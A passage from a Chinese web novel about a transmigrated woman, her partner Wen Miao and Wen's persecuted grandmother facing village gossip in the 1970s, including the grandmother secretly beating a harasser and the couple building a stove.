但是一想到这些话会波及到季白青和季家其她人,她就觉得愧疚。 明明她们能够过好自己的日子不受到影响的,甚至她们也可以用语言来责怪自己,但何香月却还因为担心她多想,特意来安慰她。 温淼扬起笑,“婶,饭快好了,你看看阿青快回来没。” 何香月站起身来,拍了拍裤子上的泥走出去,没看到季白青。 等到饭菜被端上了桌,季白青才回来。 温淼打了水给她洗干净手脚上的泥,见她脸上都带着些泥水,抿着唇用毛巾帮她擦拭干净。 洗了手,季白青咕噜咕噜喝了好大一口水,甩了甩额前碎发沾上的水珠。 抬头看着温淼,她才发现女人看起来心情不大好。 她有些纳闷,柔声询问:“这是怎么了?看起来好像不高兴。” 她在地上辛苦了一天,温淼不想自己的事让她烦心,摇了摇头露出个笑,“没呀,就是你回来的有点晚,等得有点饿了。” 季白青在她眉间亲一口,“不是说了不用等我一起吃饭?” “今天的活有点多,刚才干完。”她解释晚归的原因。 没多久,去送饭的温如嫣也回来了,一大家子坐在一起好好吃了一顿晚饭。 季白青饭后就去洗了澡,将身上沾的泥渍全都洗干净。 她原本有些洁癖,但每天干农活已经干得没脾气了,尤其是插秧的时候,一身上下都会带到泥点子,就连头发也不能幸免于难。 她擦着湿漉漉的头发,刚出澡间就被何香月拉到了一边去。 何香月将今天瘦竹竿上门闹事这回事同她说了。 闻言,季白青皱起了眉。 她没想到那男人的报复心理竟然那么强,明明是他不占理,还好一丝来责怪她。 不过她和温向荣走得近的事是早晚都会被人知道的,现在不过是提前了一些,季白青还是有心理准备的。 她唯一担心的就是何香月和季伟。 季白青不在乎别人的说法,也不在意村里人的眼光,但是她娘和爹可是土生土长的云水村村民。 一句话可以压死人,何香月和季伟她们肯定要比自己更在意这些流言。 她抿唇,突然道:“娘,不然我们断绝关系吧。” 还没等她将其中利害说个清楚,何香月给了她一巴掌,顺手将插在墙上的竹条抽了出来。 “你个小兔崽子再说一遍!” 看着她手上的武器,季白青讪讪闭上了嘴。 “娘,这是不拖累你们的唯一办法了。”她往后退了一步,还是觉得这办法可行。 何香月竖起眉,作势要打她。 季白青败下阵来,“好吧好吧,我不说了!” “滚蛋。”何香月没好气看着她,将竹条往地上一扔。 季白青正想如她所说的滚蛋的时候,何香月开口拦她: “等等。” “淼淼听到了那些话心里应该不好受,你记得哄哄她。” 季白青点头,往房间走。 还没进屋子,突然发现院子里的蔷薇花苞开了,粉白的花瓣,层层叠叠的,娇嫩又漂亮。 旁边种下的月季攀上爬架,也开了两三朵。 她心一动,拿剪刀分别剪了两朵,将刺剔去,用细绳将花枝扎在一起,这才拿着花进了房间。 温淼此时戴着黑框眼镜正在看明天上课的教案,季白青将拿着花的手背在身后,叫她: “蓁蓁。” 温淼抬起头,有些疑惑地看着她:“嗯?” “帮我擦一下头发。” 温淼将笔放下,走到她身前,正打算将她肩上搭着的毛巾取下来,眼前突然出现了两朵开得正艳的花。 季白青将花递给她,笑盈盈道:“鲜花赠美人。” 温淼收下,垂着眼睫有些欢喜地看着手上的花。 没一会儿,嗔道:“哪有你这样的?” 剪她们一起种的花来送她。 话是这样说,但明显她是高兴的,琥珀色的眼眸中浮上了一层浅浅的笑意,红唇也扬了起来。 只看了一会儿,她将花小心放在桌上的盒子里,取过毛巾给季白青擦头发。 享受着老婆的贴心服务,季白青撑着脸,手指轻轻敲着桌面。 感受到温淼正在给她擦着发尾,她的动作停了下来,开口:“蓁蓁,她们说的话你都别在意,不用听进去。” 温淼擦拭发尾的动作一顿,最后轻轻点头。 “知道了。” 将最后一点水擦干,温淼把毛巾晾好。 季白青将她戴着的眼镜取下来,“不看书就别戴眼镜了,不然压得鼻梁疼。” 温淼点头,将桌上的书合上,欲言又止地看了季白青好几眼。 季白青有些稀奇地看着她:“要说什么呢?” 温淼揉了揉眉心,“算了,不说了。” “……”这不是纯属逗她呢。 季白青抱住她的腰,磨了磨牙:“不行,你快说你到底要说什么!” 哪有话说到一半突然就不说的。 温淼:“……我想说的你不爱听。” 季白青突然间猜到了几分。 “那算了,你别说了,反正不管是你想不上课还是让我别管奶奶我都不同意。” 温淼扁了扁嘴。 她就知道。 季白青觉得她可爱,一口亲在她的手背上。 “都说了别想太多。” 无论什么事,无论怎么样,她会和温淼一起面对。 两个人一起面对,可以更好地解决问题。 与现在相似的困境季白青也面临过,上辈子穷的时候什么脏活累活都干,轻松些的职业还对年龄有要求,她没到十八岁的时候还去扛过货,一天干下来比现在累多了。 更何况,她是真的心疼温向荣,也是真的将其看做自己的亲人。 又有温淼在,自然想要为温向荣分担多一点。 温淼开心,季白青也就开心了。 第二天,趁着还没到去卫生所值班,温如嫣和季白青一起去了牛棚。 温如嫣一大早就起来将温向荣早上要喝的药给煎好了,等温向荣吃了早饭就让她将药喝下。 她再次检查温向荣的身体,或许是这几天都泡在水里,温向荣脸上的伤口有了再次发炎的趋势,再度往外渗出脓液。 脚底也有部分伤口溃烂,短期内最好不要下水。 膝盖处的骨头错位明显,她按了按,问温向荣:“疼吗?” 温向荣云淡风轻地摇了摇头。 如果不是温如嫣感受到了手下的肌肉正在发颤,温如嫣都快要相信了。 瞪了她一眼,温如嫣无奈:“温向荣同志,还请你配合我检查。” 做医生的最怕遇见的就是温向荣这种不配合的病人。 温向荣还是那句话:“我说了不用管我,腿瘸了就瘸了,又不是死了。” 温如嫣闭嘴,不想和她多说。 倒是季白青在一边看着,叹气道:“奶奶,你好好配合姑姑,不然淼淼知道你的腿伤好不了,肯定是会伤心的。” 温向荣眉头一皱,“是你们你们一个个倔得跟头牛一样,都说了不用管我。” 放弃一个要掉下悬崖的人简单,将人拉回却难。 “我们可不是随了您。”温如嫣将毛巾覆在她的膝盖上,直起了身。 要说她们倔,哪里能够比得上温向荣。 等着冷敷好后,差不多也到了上工时间。 季白青掺着温向荣往仓库走,要去拿工具、分今天的活儿。 以往即使温向荣不说,季白青也会有意避嫌,从来没有这么大喇喇地将两人的关系在村里展示过。 温向荣奇怪地看她一眼,将自己的手抽出来:“我自己过去就行,你先在这等我。” 路过的村民都在回头看她们,温向荣对这些带着恶意的眼神早已习惯,但不愿意季白青也跟着自己承受。 季白青本就不在意,之前不过是为了让温向荣能够接受而已。 昨天瘦竹竿既然都将她和温向荣关系近的事闹到了云水村,她不信男人不会在小石村说。 她再度扶着温向荣:“没事的奶奶。” 温向荣冷冷看她一眼,“你就在这等着。” 季白青见她真要生气,只好听她的。 温向荣一瘸一拐地往仓库走,路上听着别人对她的讨论。 “吴浩那小子是不是说每天都有人给她干活来着?” “啧啧,这运气可真好,坏分子过得这么好,我可是三代贫农,怎么没人能给我干活。” “听说是吴浩看上了人家姑娘,人姑娘动手打了他他才说的。” “果然,和坏分子混在一起的也不是什么好同志,哪有好姑娘随便打人的。” …… 温向荣听得眉头皱起,季白青和她的关系已经被村里人都知道了? 寥寥几句话,她将其中的关系大概捋清楚了。 最后的脸色自然没有多好看。 自己的孙女媳被人欺负了。 领了农具回去找季白青,去地里的路上,温向荣冷不丁问道:“吴浩是谁?” 季白青有些茫然。 “啊?” 这名字她也没听过啊。 温向荣换了个问法:“昨天是不是有个男的欺负你?” 所以吴浩就是瘦竹竿? 一想到他,季白青恶心得像是吃了一碗苍蝇。 她不愿多提,也不想温向荣担心。 “没事,我把他教训了一顿,都过去了。” 温向荣能看出来季白青不想多说,没有继续问下去,只是将他的名字记在了心里。 累了几天,今天分配的活儿总算是轻松了一些。 季白青和温向荣一上午将今天的活干完了。 中午是温如嫣来送饭,季白青空了下来,便回了云水村。 昨天吴浩在村里大声宣扬季白青和小石村的黑五类混得近的消息,经过了一晚上的发酵,已经在村里彻底传开了。 本就有部分人看季家过得太好不顺眼,得知这个消息后笑得合不拢嘴。 季白青刚到村口,便听见了村口李叔憨厚的声音。 “看看,是谁回来了!” “这不是和黑五类混得最近的季家丫头嘛!” 【作者有话说】 今天的写不完了呜呜对不起宝宝[爆哭]我实在是太能拖了 十二点后补上,还有个营养液的加更一起 感谢投雷和营养液,感谢评论订阅收藏! 第78章 2w营养液加更 ◎半小时◎ “啧啧,我们可要离她远一点,不然要被别人误会的,我可不是什么坏分子。” “对啊,谁说不是呢,这丫头就这么大胆。” “要是我家丫头这样,我肯定得打她一顿,老季家的那个就是对她太宠着了!” 几个人站在树下,对着季白青指指点点,议论纷纷。 季白青眉心一皱,掀起眼皮看向他们。 那群人被她冷淡的眼神一看,诡异地沉默了一会儿后再次嚷嚷起来。 “怎么,你自己干的事还不许别人说了?” “就是啊,难不成你还想打我们?还有没有道理了!” “老季真是不知道造了孽才养出这么个闺女。” 听着这些话,季白青的内心毫无波澜,甚至有些想笑。 她一一开口怼回去:“李叔,我怎么不知道你什么时候喜欢像个长舌夫一样到处说人闲话,村里哪个男人能有你话多?” “张大爷,我虽然不怎么样,但是我好歹每个月还交钱给家里补贴家用,不像是你儿子,拿着工资还要找你要钱。” “赵伯,就你这小体格,你闺女不打你就好了,你还想打你闺女,小心我告诉赵大妮!” 她几句话说完之后,村口那群人瞬间缩着脖子像个鹌鹑一样讪讪闭了嘴,不敢再多说。 孙大娘背着锄头路过,有些鄙夷地啐了他们一口。 “几个大男人天天在背后说人家姑娘家的坏话,不就是嫉妒季伟能做村支书?有本事你们就当着他的面说去!” 她这话戳中了几个人的心窝子。 他们都是羡慕季伟有能力,五十岁不到就能当上支书,虽然和何香月一起只养了个女儿,但女儿却比别人家的儿子还出息,读书时次次拿第一,毕业了还能够在城里找到活计。 而他们这些人大多都胆小懦弱,只会吹牛,也就只能够在兄弟和家里逞逞威风了,自然对季伟心生忮忌。 这些话本是藏在心里的,此时被孙大娘说出来,他们的脸一阵青一阵红的,呐呐的说不出一句话。 等这群人散开,孙大娘走近季白青安慰道:“都是群怂蛋,别听他们的!” 季白青崇拜地看着孙大娘,“大娘,我都没放在心里,倒是你,你可真厉害!” 说的话让他们一下就破防了。 孙大娘哼了一声,白眼往上一翻,“这群男人什么样我还能不知道?内裤什么颜色我都能猜到!” “心里那点小九九都藏不好。” 季白青和她一起往家里的方向走,路过村里其她人的时*候,虽然还是能够感受到落在她身上的眼神各式各样,但季白青权当做没看到。 到了门口和孙大娘道别后,她往屋里走。 拿着杯子打了杯冰凉的井水喝,凉水流过五脏六腑,季白青感觉舒服了。 温淼回来得早,此时正在做饭。 季白青喂她喝了口水,“今天的井水是甜的。” 温淼抿了一口,并没有尝出来。 被她用疑惑的眼神看着,季白青清了清嗓子。 “用我用过的杯子喝水不就是和我间接接吻吗?这样的水你不觉得甜?” 温淼炒菜的手一顿,脸颊微红,瞪她一眼,不再理她了。 继续翻炒着锅里的菜,温淼抿着唇上的水,回想着刚才季白青所说的,好像真的从其中尝到了那么点甜。 季白青见锅里的青菜再多炒一会儿要黑了,拿了个碗出来。 “好了,已经熟了。” 温淼发红的耳垂藏在黑发下,默不作声地将菜铲起来。 昨天晚上下了一场雨,何香月今早起了个大早去山上捡菌子,捡了一两斤的羊肚菌。 分了一半给温如嫣,中午的时候温淼用羊肚菌炖了汤。 将午饭给温向荣送了过去,回来的路上季白青和温淼商量:“我们给奶奶她那先弄个土灶吧,要是什么时候不方便送饭她还可以自己动手。” 温淼闻言,也觉得可行。 恰好季白青知道家里有一口多出来的锅还能用,只是铁锅的上缘有些开裂,但做一个人的饭够用了。 要知道铁锅在七十年代也算是稀罕物呢。 今天中午炖的羊肚汤特别鲜,季白青给何香月和温淼盛了碗。 何香月吃到一半后,得知还剩下一些羊肚菌,立即道:“刚好那三只鸡养得肥的很,杀一只母鸡给温婶子补补身体。” 季白青点头,“行,刚好下午也没活了。” 她想着,还能加点人参须进去,刚好给全家人都补补。 吃了饭,季白青特意跑去卫生院跟温如嫣说让她晚上来家里吃饭。 温如嫣今天刚上岗,正在适应中。 村里人知道卫生所新来了个赤脚医生,也有些好奇,纷纷来卫生所看她到底是个什么模样。 为此还不惜编出点毛病来,温如嫣给人看病发现根本没什么病后还有些哭笑不得。 但村民基本上表现出来的都是友好的一面,但对她表现得友好的村民却又对季白青亲近黑五类这件事分外厌恶排斥,温如嫣觉得有些割裂。 虽然她和温淼、温向荣都姓温,但暂时还没人将三人的关系朝那方面想。 毕竟天底下哪能有那么巧合的事情。 卫生所的张大婶倒是很热心,给她说着在卫生所的注意事项,还说不忙的时候两个人可以轮班。 这样也方便她去照顾温向荣,偶尔给她帮帮忙,虽然她没季白青那么能干,但能做一点是一点。 目前为止,她还挺适应下乡的生活的,就是云水村的环境要比以前在京市恶劣一些- 季白青回到家的时候,发现温淼坐在床边,心事重重地低头看着自己的手指。 她走过去,将自己的手放上去,两双同样修长白皙的手叠放在一起,颇为赏心悦目。 手掌微微一错,两人变成十指相扣的姿势。 “在想什么呢,这么入神?”她问。 温淼的手微微曲起,扣住了季白青的手背,两人的掌心贴近,季白青才发现对方的手心濡湿。 其实在今天温淼从学校回来的路上,就听见了和季白青有关的各种言论。 各种难听的话扣在季白青身上,她听着心里很不是滋味。 毕竟一切都是因为她的家人而起,季白青本来是不用承担这些流言蜚语的。 她凑近季白青,一手还被她牵着,另一只手放在她的后背,两个人一下靠近,抱在了一起。 “她们的话,你都听到了吗?” 温淼在季白青的耳边轻声问道。 季白青一愣,点头。 “听是听到了,但是我都没往心里去呢。” “对……”温淼才一开口就被季白青打断。 她往后退一步,看着温淼的眼睛,无奈道:“你可别跟我说什么对不起,爱人之间要这么客气吗?” 她对温淼还是太了解了,只听到一个字也能猜到她要说什么。 季白青不爱听她对自己道歉,又不是她的错。 她伸出手将温淼的眉心抚平,又将她颊边的碎发拨弄到耳后,用清越的声音开导她: “那些话影响不了我什么,日子该怎么过就怎么过,反正现在还没有到影响生活的地步。所以不要那么紧张和在意好不好?” 季白青的眼睛黑亮,说着话的时候也比往常要沉稳些,温淼内心的焦虑不知不觉被抹平了一部分。 “可……”她还想说什么,却被季白青轻轻抵住了唇。 “你就是想太多,今天下午我不去干活,陪你睡个午觉行吗?醒了就好了。” 睡眠是最低成本的情绪环节方法,季白青每次情绪低落时睡一觉,醒来烦心事也不剩多少了。 听了她的话,温淼只好点头。 这段时间太忙,季白青确实已经很久没有陪她睡过午觉了。 最主要的是……她也想要对方能够好好休息。 下午温淼没有课,两人一觉睡到了下午三四点。 她只觉得整个身体都软了,懒洋洋地陷在被褥中,不想起来。 季白青的眼皮垂着,手落在温淼的后背轻轻拍着,掀开眼皮才发现女人此时正在看着自己。 她心情颇好地扬唇,眼睛弯成月牙儿。 “下午好呀。”睡了一觉,身体存留的水分也挥发的差不多,季白青的嗓子有些沙哑。 温淼也软着声音回她一声,凑上前讨了个吻。 黏黏糊糊地亲完之后,不想起床的想法更强烈了。 季白青打了个哈欠,抱着被子蹭了蹭,看了眼手表,突然猛地坐了起来。 温淼被她动作吓得瞌睡都醒了,睁圆眼睛问:“怎么了?” 季白青掀开被子下床开始找衣服,“今天晚上炖鸡,我给忘记了,再不起床杀鸡就来不及了。” 温淼在床上坐了会儿,也没继续睡,穿好季白青放在床边的衣服,去给她帮忙。 看季白青在食品站杀猪的次数多了,现在再见她杀鸡,温淼也不再害怕。 季白青干脆利落地拿着刀给挑出来的肥硕母鸡抹了脖子,温淼在一边十分淡定地拿着碗接往下滴的鸡血。 用开水把鸡毛给拔下来,再开膛破肚处理好切块之后季白青将处理好的鸡往锅里放,放了盐和清洗干净的羊肚菌,又加了点人参须,炖上一个小时左右就差不多了。 炖上了鸡后,季白青去地上摘了点菠菜,还多做了个凉拌菠菜。 温如嫣到季家的时候,何香月她们还没下工。 她将给温向荣的那一份饭打包好,先去给温向荣送饭,再顺带将她身上的伤势检查一番。 等着她回来,正好开饭。 今天是阴天,天完全黑下来后空气中有些湿冷,很适合喝热乎乎的鸡汤。 一碗鸡汤下肚暖了胃,鸡汤鲜美,咸淡适中,喝得人身体都暖洋洋的。 鸡腿一个被装给了温向荣,另一个则是被季白青夹给了何香月。 她看着何香月笑眯眯的:“娘辛苦了,吃个大鸡腿补补身体。” 何香月嗔她一眼,这么多人,她一个四五十岁的人了,怎么好意思吃鸡腿。 温如嫣见她想要夹给自己,眼疾手快将碗挪开。 “月姐,这是小季的心意,你别辜负她的一片孝心,自己吃吧,碗里还有这么多鸡肉呢。” 何香月这才放弃,催她们道:“快多吃点肉,尤其是白青和淼淼,都瘦了。” 温淼默不作声地给季白青夹鸡肉。 季白青哭笑不得,压低声音道:“你自己多吃点,再多喝点汤,别顾着我了,我又不是小孩儿。” 哪里还需要她妈妈样地去照顾。 不过季白青也知道她是在关心自己,给她盛了一碗汤。 里面加了人参须的,滋补,喝得全身都发热。 一家人吃完后,还剩下些鸡肉。 现在的天气不大热,菜放在桌上罩着过一夜也不会变质,明天还能继续吃。 收拾了碗筷,季白青抻了抻肩膀。 温如嫣已经回去了,她问温淼:“要不要出去走走?” 温淼晚上也吃了不少,怕是会撑着了。 温淼犹豫了一会儿,最后还是摇了摇头。 “算了吧。” “为什么?怕听到不好的话?”她一句话点名了温淼内心的担忧。 温淼点了点头,“万一又遇上那些多嘴的人……” 季白青无所谓:“她们说她们的,我们过我们的。” “走吧老婆,好久没一起散步了。” 这几天都是累得吃完饭倒头就睡,两人培养感情的机会都少了许多,好不容易才让她逮到机会。 更何况季白青是真的不想让温淼因为别人对她的评价而拒绝出门。 两人牵着手出了门,村里的路灯是远远才有一座,月色不亮,模模糊糊将人的影子倒在地上,只要不是太近,一眼并不能够认出来人的外貌。 路上走着的人和她们擦身而过,也没人对她们发出点评。 意识到了这一点,温淼总算是放心了些。 晃了晃两人牵在一起的手。 似乎是感受到了温淼内心小小的雀跃,季白青好笑问她:“现在高兴了?” 温淼贴近她,两个人的手臂挨在一起,她摇了摇头,落在地上长长的人影也跟着小幅度晃动。 “才不高兴,她们都很讨厌。” 她现在唯一觉得欢喜的是她和季白青的散步时间并没有被不好的言论打扰。 在村里走了走,饱腹感逐渐下去,季白青正打算带着温淼回去,就听见背后传来一道女声。 “温淼,你等一下。” 温淼和季白青转过头去,才发现原来叫她的人是潘红霞。 季白青蹙着眉头有些不耐烦地看着她,不知道她是想要干什么。 潘红霞被她盯得心生怯意,还是温淼轻挠着季白青的手心,她才收敛了眼神。 潘红霞连忙将手上的东西拿出来给她:“这是我在山上挖到的药材,听说温奶奶受伤了,也许你能用上。” 村里传开的消息是季白青和小石村的黑五类走得近,但温奶奶和温淼之间的关系却还是没有暴露的。 “陆延告诉你的?”季白青问。 “我……我偷听到的。”潘红霞脸色涨红,低声道。 温淼将潘红霞手上的药材接过,“谢谢。” 季白青跟在她后面接了一句:“温淼上次借你粮食的恩情这下就两清了。” 她不想因为一个药材,又让温淼记住了潘红霞的好。 听着她急于要划清两人界限的话,潘红霞尴尬地点了点头。 “那我先走了。” 看她走远,温淼有些不解:“你为什么不喜欢她?” 自然是因为她对温淼不好啊! 可惜原剧情的事只有季白青一人知道。 她叹了一口气,故作深沉:“女人的第六感。” 温淼被她逗笑。 夜色渐沉,两人回家休息。 睡前,看着潘红霞挖的药材,季白青轻嗤一声。 这些东西,她和温淼去年挖的还能在家里找到。 还想用来送人作人情,真是想得美。 夜渐渐深了,小石村沉寂一片,家家户户都睡得很沉。 牛棚中,温向荣的眼睛突然睁开,在黑暗中也透露出几分锐利。 她起床,摸索着找出衣服穿上,随手拿了个布袋,推开门往外走。 月亮昏昏暗暗的,被云遮住了大半,村里除了她,不见人影。 到了晒谷场旁边的吴家,她掏出了口袋里的铁丝,将门撬开。 房间里,吴浩睡得很沉,房间里是巨大的呼噜声。 温向荣把门关上,从里面上了锁,随意找了件床边的背心塞进他嘴里,套上麻袋将人拖到地上开始拳打脚踢。 虽然她瘸了条腿,可那点格斗功夫还在,拳拳到肉,每一下都揍得人发疼。 睡梦中的吴浩没多久就清醒过来,感受到身上剧烈的疼痛想要叫出声来却又被堵住了嘴。 打了十几分钟,吴浩几乎要昏迷过去。 不!他恨不得自己能够昏迷过去!这样至少没那么疼。 温向荣将人揍得差不多后,在吴浩的手指上重重碾过。 被打的人无声尖叫,最后在剧烈的疼痛中昏迷过去。 温向荣将他头上的麻布袋解下来,又还不解气,扇了他两个大巴掌才停下来。 看着地上死猪似的躺着的人,温向荣冷冷一笑。 竟然敢欺负她温家的人。 也就是最近一段时间她脾气好了、身体虚了。 不然高低再揍他半小时! 【作者有话说】 温向荣女士宝刀未老。 写牵手戏的时候,这个宿宿雪在用左手牵右手的方法实验[无奈]想笑 还欠两千字,大学生败了,熬不下去了,晚上再尽量补上,大家晚安么么! 感谢投雷和营养液,感谢评论收藏订阅 79 第79章 ◎替天行道◎ 季白青早上去小石村帮温向荣干活的时候,被迫又听了一嘴八卦。 三三两两的人端着碗聚在家门口,说着今天早上听着的消息。 “诶,你们听说了没?吴浩昨天晚上被人打了!” “噗嗤,我就说今天早上见到他的时候,他的脸怎么肿得跟个猪头一样!” “不过他被打得活该,也不知道是哪个好人在替天行道,像他那样天天想占女同志便宜的人就该早点被抓到派出所去!” “嘘,小声点,被他听到了肯定会记恨上我们。” 同她们擦身而过,走出了几十步后,季白青这才想起来吴浩是谁。 这不就是之前想要轻薄她的那个男的吗? 果然坏事做多了是会遭报应的,季白青还没有上门找他算账,他就被人给打了。 要不是她还得给温向荣送早饭、干活,她多多少少要去瞧瞧吴浩到底被打成了什么样。 温向荣吃早饭的时候,季白青在牛棚周围转了转。 牛棚里的面积实在是太过逼仄,三个人同时站进去已经不好转身了,不可能将灶修在里面。 如果把土灶修在牛棚外也有一定风险,锅容易被偷不说,四月份多雨,雨势再大一些,能够将灶给冲塌。 看了一圈,季白青还是觉得在牛棚后修土灶方便。 可以支上两根木桩,搭一个小棚子挡雨,掩人耳目的同时也不太显眼。 内心有了个大概的模型,她没在外面多呆,回了屋子里等着温向荣吃完去上工。 温向荣脸上的伤口还在修养中,温如嫣调配了擦的药膏,擦了药后最好少见光,季白青给她准备了一顶遮阳的草帽和一个口罩,颇为狰狞的伤疤被遮挡住之后,村民看着她的眼神也比之前要好一些。 碍于她黑五类的身份,嫌弃厌恶还是有的,但少了些恐惧。 季白青觉得能改变一点也好。 去地里的路上,她见温向荣面色似乎有些疲倦,便将今天早上听到的话同她说了。 “奶奶,我真想知道到底是谁把他给打了,打得太好了。” 温向荣:“……” 她随口附和道:“确实挺好的,他该的。” 季白青中午迅速吃了饭,拿了工具去温向荣屋后先把泥胚制好,要等几天泥胚被晒干才好进行下一步。 她有盖房的经验,现在干起泥瓦匠的活也颇为得心应手,两天的功夫将需要的泥胚做好,就等着彻底晾干了后直接砌灶了。 恰好这几天的太阳都很大,周日那天季白青杀完猪回来后再去看看泥胚,已经可以直接用上了。 用黄泥掺稻草将泥胚粘连,因为不需要用太久,季白青做的不是很精细,有温向荣和温淼在一边给她帮忙,一两个小时就完成了。 季白青从家里拿来了铁锅和粮食,让温向荣将口粮放好。 早上和中午她都能够给温向荣带饭,就是晚饭有些麻烦,现在有了土灶之后温向荣自己做一顿也能轻松些。 只是温淼有些担心地看着温向荣,轻声问:“奶奶,你现在自己做的饭能吃吗?” 她的担心并非空穴来风,温向荣虽然在外面做任务的时候糙得什么都能吃,也能够自己动手,但是她做饭的水平也仅仅只是把饭菜都给煮熟了。 温向荣被她这么看着,眉头一竖,“怎么不能?” 再多问下去她得生气了,见状温淼只能闭嘴。 反正也只是一餐,给温向荣买的那些饼干鸡蛋糕她还没有吃完,如果到时候做出来的粮食实在是不能吃的话,还可以靠那些糕点填饱肚子。 牛棚边多了一个土灶,屋子里也多了个水缸,季白青每天早上去将水井的水打出来,挑到温向荣那去。 偶尔温向荣闲下来了也会去后山挑山泉水。 将土灶修好后,季白青和温淼没打扰温向荣休息,两人一起回了家。 这段时间村里对季白青的讨论只多不少,每次她一出现,总会成为人群中的焦点。 当然,大多数人都离她远远的,生怕走近了之后也被扣上成分不好的帽子。 只是大多数人都会将异样的眼神放在她身上。 今天周日,不需要上工,风和日丽,村口的大榕树下有妇女正在抱着孩子纳凉,也有人聚在一起纳鞋底子,女女男男谈笑风生,笑声一阵一阵地飘出。 正在说笑的人群中有人眼尖一眼就看到了走进的温淼和季白青,瞬间对其她人使了个眼色。 顿时,原本笑闹着的人群安静了下来。 季白青当做没看到,拉着温淼从她们身前走过,往家里走。 见着两个人走远的背影,不知道是谁先朝地上吐了口唾沫。 “切,和黑五类走得近的人也那么傲气!” “迟早有一天会被好好教训一顿。” 对于这些变化,季白青还算是接受良好,毕竟她不是土生土长的云水村人,对村里人也没有那么浓厚的感情。 还是那句话,别人怎么看怎么想她是管不着,反正被看一眼、被人在背后说一嘴她也不会掉一块肉。 如果话真的说的太难听,季白青也不会收敛自己的脾气,怼回去就是了。 可温淼却还是不大习惯,毕竟在她看来那些人中不乏在之前对季白青和她都很好的。 往日里见着都会笑眯眯地打一声招呼,只是一转眼就变了态度。 如果只是害怕跟她们走进而受到牵连,温淼确实觉得可以理解,保持距离就好。但那些人更多的还会选择说些难听的话,温淼不太能接受。 似乎是感受到了温淼低落的心情,季白青捏捏她的手心,也没有多说什么。 温淼不想让她担心,振作起来,抬头对她浅笑。 季白青戳戳她白腻绵软的脸颊,声音带着几分笑意:“多笑笑,笑起来才好看。” 温淼点头,“知道啦。” 下午的时候温淼和季白青没再去温向荣那,倒是温如嫣去给温向荣检查了身体。 在每天喝的药的滋补下,温向荣的身体要比刚下乡的时候强健不少。 温向荣的身体渐渐好起来,虽然脸上的伤疤依旧深刻,走路还是一瘸一拐,力气好歹上来了,分配下来的任务干得多,季白青也没有先前那么累。 周三,温淼刚从学校下课,忽略村里各式各样的眼神,往家里走,还没到家里,就被村里的吴婶拦了下来。、 吴婶看着她的眼神含笑,将她上下打量一眼后满意地点了点头。 “温知青,婶子有话想要和你说。” 这段时间以来,除了原本关系就亲近的几家邻居,她还是第一个愿意对温淼露出好脸色的人。 闻言,温淼温声道:“婶子,你要说什么?不过最好快点说,我待会儿还要回去做饭。” 听她这样说,吴婶的眼里更添了一分满意。 她没想到看起来娇滴滴的温知青竟然还会做饭,这样看来她和自己的儿子更合适了。 清了清嗓子,吴婶这才将自己要说的话一一道出: “温知青啊,你和季家丫头的事婶子都知道,也不介意。” “她啊,现在成分已经彻底坏了,毕竟黑五类都不是什么好东西,她既然知道这个道理,还去给人黑五类干活,那肯定不是什么好归宿。” “你是个好姑娘,还能识字,长得也漂亮,虽然瘦了点吧,不好生养,但还是能配得上我儿子的,我儿子,一表人才……” 听到后面,温淼皱起了眉,失了耐心。 原本以为是有什么正经事,没想到又是来数落季白青的。 她脸上的笑散了,“婶子,我还要回去做饭,不和你多说了。” “诶诶!”吴婶将她拉住,道出最后的目的。 “总之季白青和黑五类走得近,你和她继续混下去迟早也会被拖累的。我愿意你和我儿子处对象,我儿子成分好,你看看怎么样。” 温淼转过头去,看着吴婶,慢条斯理道:“吴婶,你嘴里的黑五类其实是我亲奶奶,所以要拖累也是我拖累她。” 她甩开吴婶拉着她的手,不再管对方脸上的表情,往家走。 说出那话的事后,温淼的心里其实是松了一口气的。 季白青一直让她不要主动将她与温向荣的关系暴露出去,被人发现了再说也不迟,但是这样一来,所有人说的坏话都落到了季白青的身上,难听恶意中伤的话也都是她在承担。 温淼内心自责,却毫无办法。 现在有机会将真相说出来,温淼的内心很是平静。 村里就这么大,什么消息都瞒不住,大概没多久,黑五类是她奶奶的消息就会被传开。 比起众人对季白青议论纷纷,温淼觉得她还是更能接受自己承受非议。 季白青已经为她做了太多太多。 回到了家,她也没有多想,开始生火做饭。 季白青到家的时候,温淼特意观察了一番她的脸色。 好像和往常没有多大的区别,那她和温向荣的关系大概是还没有被传开。 但不知为何,温淼的心里其实还有些紧张。 饭后,季白青跟在温淼身后进了房间。 门被关上,隔绝了外界的眼神和一部分的声音。 季白青此时也不像刚才在外面那般淡定。 她拧着眉,看向温淼。 “你怎么把你和奶奶的关系说出去了?” 要知道她今天刚到村里的时候没有听到众人对她指指点点还以为这事儿已经慢慢开始过去了,没想到却听见了她们在说温淼的不是。 多听一耳朵后,她知道了原因。 温淼和温向荣之间的关系曝光了。 回了家她也是将事压在心里,等着温淼主动和自己说。 没想到她好像没有要和自己明说的意思。 温淼的表情一愣,下意识地咬住了唇,却被季白青盯得又只能够放开。 她解释道:“今天吴婶拦下我说要我和你分开,还说了你的不好……我一时气不过……” 季白青叹出一口气,双指掐起她的脸颊肉,语气有些无奈。 “傻蓁蓁。” 季白青知道流言的危害,也承受过各式各样的流言蜚语,加上知道原剧情中温淼被迫听了很多难听的话。 出于私心,她真的不想让现在的温淼又再次被那些难听的话侵袭。 原本她一个人承受着就可以的,甚至如果何香月她们真的愿意先和自己断绝关系的话,她们也不用受到自己的影响。 但温淼偏偏要为她承担一部分的风言风语。 温淼有些不安,抬眸怯怯看她:“是不是给你添麻烦了?” 季白青看着她漂亮的眼睛,啄吻在她眼尾。 感受到她纤长的睫毛刮过自己的脸颊,季白青轻笑。 “怎么会给我添麻烦?我知道蓁蓁是心疼我。” 她继续说:“那以后不好听的话可定是我俩身上都有了,之后我心疼心疼你,你心疼心疼我我俩可就扯平了。” 这哪有什么好扯平的?温淼默不作声地抱住她,闷声道:“这本来就应该是我的责任,你已经为我做的够多了。” 多到每次她躺在床上辗转、难以入睡的时候,都会怀疑自己到底值不值得季白青为她做那么多。 温淼见的最多的是为了保全自己而放弃家人、爱人的人,像是季白青这样舍己为人的人还是第一次见。 还很巧地被她碰见了,有时候温淼都觉得自己运气好。 季白青无声叹了一口气。 有时候她还觉得自己做的不够多,毕竟别人穿书都带着金手指,在书里搅动风云。 而她穿书只有对原书剧情的记忆,这就算了,但她还没看完原著。 如果她也能开金手指的话,那不说其它的,起码要让温向荣避免被下放。 可惜,她没有金手指。 不过能做到现在的地步,季白青已经满足了。 做人还是不能太贪心。 现在能帮温淼慢慢扭转原本的剧情就已经很好了。 她也不能操之过急,需要一步一步稳着来。 